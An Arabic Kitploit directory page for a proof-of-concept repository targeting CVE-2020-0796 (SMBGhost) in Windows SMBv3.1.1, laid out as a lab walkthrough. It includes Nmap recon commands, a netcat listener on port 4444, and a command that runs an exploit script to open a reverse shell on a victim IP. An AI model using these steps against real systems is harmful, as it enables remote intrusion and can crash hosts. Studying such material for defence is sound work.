Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/hungdnvp/poc-cve-2020-0796
الاستطلاعتحليل الثغرات الأمنيةالاستغلالأمن الشبكاتاختبار الاختراقأداة الوصول عن بعد
GitHubhungdnvp/poc-cve-2020-0796

POC-CVE-2020-0796

استغلال إثبات المفهوم لثغرة CVE-2020-0796 (SMBGhost) يستهدف Windows 10/Server SMBv3.1.1. يتضمن استطلاع Nmap، وفحص الثغرات، وتوصيل حمولة شل عكسية.

عرض المستودع
منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
POC-CVE-2020-0796 — استغلال إثبات المفهوم لثغرة CVE-2020-0796 (SMBGhost) يستهدف Windows 10/Server SMBv3.1.1. يتضمن استطلاع Nmap، وفحص الثغرات، وتوصيل حمولة شل عكسية. | Kitploit

**- الإصدارات المتأثرة*

- Windows 10 Version 1903 for 32-bit Systems

- Windows 10 Version 1903 for ARM64-based Systems

- Windows 10 Version 1903 for x64-based Systems

- Windows 10 Version 1909 for 32-bit Systems

- Windows 10 Version 1909 for ARM64-based Systems

- Windows 10 Version 1909 for x64-based Systems

- Windows Server, version 1903 (Server Core installation)

- Windows Server, version 1909 (Server Core installation)

مخطط اتصال النظام

image-20240223154022321

استطلاع الهدف

تشغيل Nmap لمسح نطاق الشبكة في منطقة DMZ

root@kitploit:~
map -sS 192.168.116.0/24

nmap: هو اسم برنامج مسح الشبكة**.

-sS: يختار طريقة مسح TCP SYN scan. في هذا المسح، يرسل Nmap حزمة SYN إلى الجهاز الهدف ويراقب الرد. إذا رد الجهاز الهدف بحزمة SYN-ACK، يعرف Nmap أن المنفذ مفتوح. إذا رد الجهاز الهدف بحزمة RST، فهذا يعني أن المنفذ مغلق.

192.168.116.0/24: عنوان IP أو نطاق عناوين IP محدد تريد مسحه. في هذه الحالة، النطاق هو 192.168.116.0/24، ويصف جميع عناوين IP من 192.168.116.1 إلى 192.168.116.254.

image-scanNmap

=> يُلاحظ أن عنوان IP للجهاز الضحية 192.168.116.145 لديه المنفذ 445 مفتوحًا.

· استخدام Nmap لمسح الثغرات على الجهاز الضحية

root@kitploit:~
map -p445 –script smb-protocols 192.168.116.145

nmap: هو اسم برنامج مسح الشبكة.

-p445: يحدد المنفذ المحدد للمسح، في هذه الحالة المنفذ 445. يستخدم المنفذ 445 عادة للاتصال بخدمة SMB (Server Message Block) على أنظمة Windows.

--script smb-protocols: يختار السكربت (script) smb-protocols لإجراء المسح. يساعد هذا السكربت في فحص وعرض معلومات حول إصدارات بروتوكول SMB المدعومة على الجهاز الهدف.

192.168.116.145: عنوان IP للجهاز الذي تريد مسحه. في هذه الحالة، عنوان IP مضبوط على 192.168.116.145

image-sanNmap2

  • النتيجة التي تم الحصول عليها smb-protocols تشير إلى أن الجهاز الضحية قد يحتوي على ثغرة قابلة للاستغلال SMBv3.1.1

  • لمزيد من التأكد، استمر في التحقق من إمكانية استغلال ثغرة CVE-2020-0796 عن طريق تشغيل سكربت بايثون

[]: -https://github.com/ly4k/SMBGhost "كود الاستغلال"

image-nmapcheck

=> النتيجة Vulnerable -> تم اكتشاف ثغرة CVE-2020-0796 قابلة للاستغلال على الجهاز الضحية.

استغلال الثغرة، تثبيت البرامج الضارة، إنشاء قناة تحكم عن بعد

تنفيذ هجوم Reverse_shell

  • بدء جلسة باستخدام Netcat للاستماع لاتصال من الضحية*
root@kitploit:~
ncat -lvp 4444
  • تشغيل سكربت استغلال CVE-2020-0796

[]: https://github.com/jamf/CVE-2020-0796-RCE-POC "كود الاستغلال"

root@kitploit:~
python SMBleedingGhost.py 192.168.116.145 192.168.44.3 4444

image-attack

=> النتيجة: الجهاز المهاجم يمتلك صلاحية تنفيذ كود شيل على الجهاز الضحية.

image-result

بعد نجاح الاتصال، يمكن للمهاجم استغلال وتنفيذ أي كود على الجهاز الضحية بصلاحيات المستخدم في جلسة الاتصال.

عند انتهاء الجلسة، يصاب الجهاز الضحية بخطأ شاشة زرقاء (BlueScreen) ويعيد التشغيل تلقائيًا.

image-end

*قد يؤدي تنفيذ الاستغلال إلى تلف النظام المستهدف*

تنزيل الأداة